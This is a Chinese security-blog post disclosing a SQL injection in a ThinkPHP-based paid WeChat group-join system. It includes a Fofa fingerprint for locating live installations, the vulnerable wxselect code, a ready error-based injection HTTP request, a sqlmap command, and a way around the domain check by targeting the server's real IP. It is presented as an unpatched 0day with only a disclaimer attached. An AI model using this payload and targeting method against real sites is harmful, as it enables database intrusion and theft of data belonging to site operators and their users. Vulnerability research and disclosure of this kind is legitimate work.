0x00 前言
某2024年9.9付费进群Plus版系统是一种新的社群管理方式,用户通过支付9.9元人民币即可加入特定的微信群,享受群内提供的服务或资源。这种模式通常用于知识分享、资源下载、专业交流等社群,通过设置门槛来筛选成员,提高群组的专业性和互动质量.
Fofa指纹:"/website/index/login.html"
框架:ThinkPHP 5.0.24 Debug:True
0x01 漏洞分析&复现
位于 /group/controller/Index.php 控制器的 wxselect 控制器通过input传入orderid 参数,并直接带入Where查询中,导致漏洞产生.
//用于微信原生支付查询订单装态
public function wxselect()
{
$id = input('id');
$orderid = input('orderid');
$back_url = 'http://'.$_SERVER['HTTP_HOST']."/group.php/index/share/id/".$id."/";
$ok_url = 'http://'.$_SERVER['HTTP_HOST']."/group.php/index/successok/id/".$id."/";
$bill = Db("bill")->where("bl_sncode = '{$orderid}'")->find();
if(!empty($bill)){
if($bill['bl_status'] == 2){
//支付成功
$res['status'] = 1;
$res['msg'] = $ok_url;
return _Json($res);
}
}else{
//订单不存在
$res['status'] = 2;
$res['msg'] = $back_url;
return _Json($res);
}
}
Payload:
POST /group/index/wxselect HTTP/1.1
Content-Length: 105
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
orderid=') AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),5417)-- ylIU
Python sqlmap.py -r a.txt --level=3 --dbms=mysql
这里还有处地方需要绕过,直接在总站/分站后台打Payload 会显示 Error:无法使用管理级别域名作为炮灰域名!
这是因为在 _initialize 初始化方法中有一处限制,若当前访问域名为 管理级别域名,则报错返回exit(),绕过也很简单,直接去他真实ip上打Payload即可,或者主域名.
public function _initialize(){
Config::load(CONF_PATH.'extra/ip.php');
$domain = config('ip');
$dodomain = $_SERVER['HTTP_HOST'];
if($domain == $dodomain){
exit("Error:无法使用管理级别域名作为炮灰域名!");
}
}
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
9.9进群系统 源码 获取:
https://www.123pan.com/s/6kuLjv-mEc3A 提取码:fwfw
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):2024最新9.9付费进群系统存在SQL注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论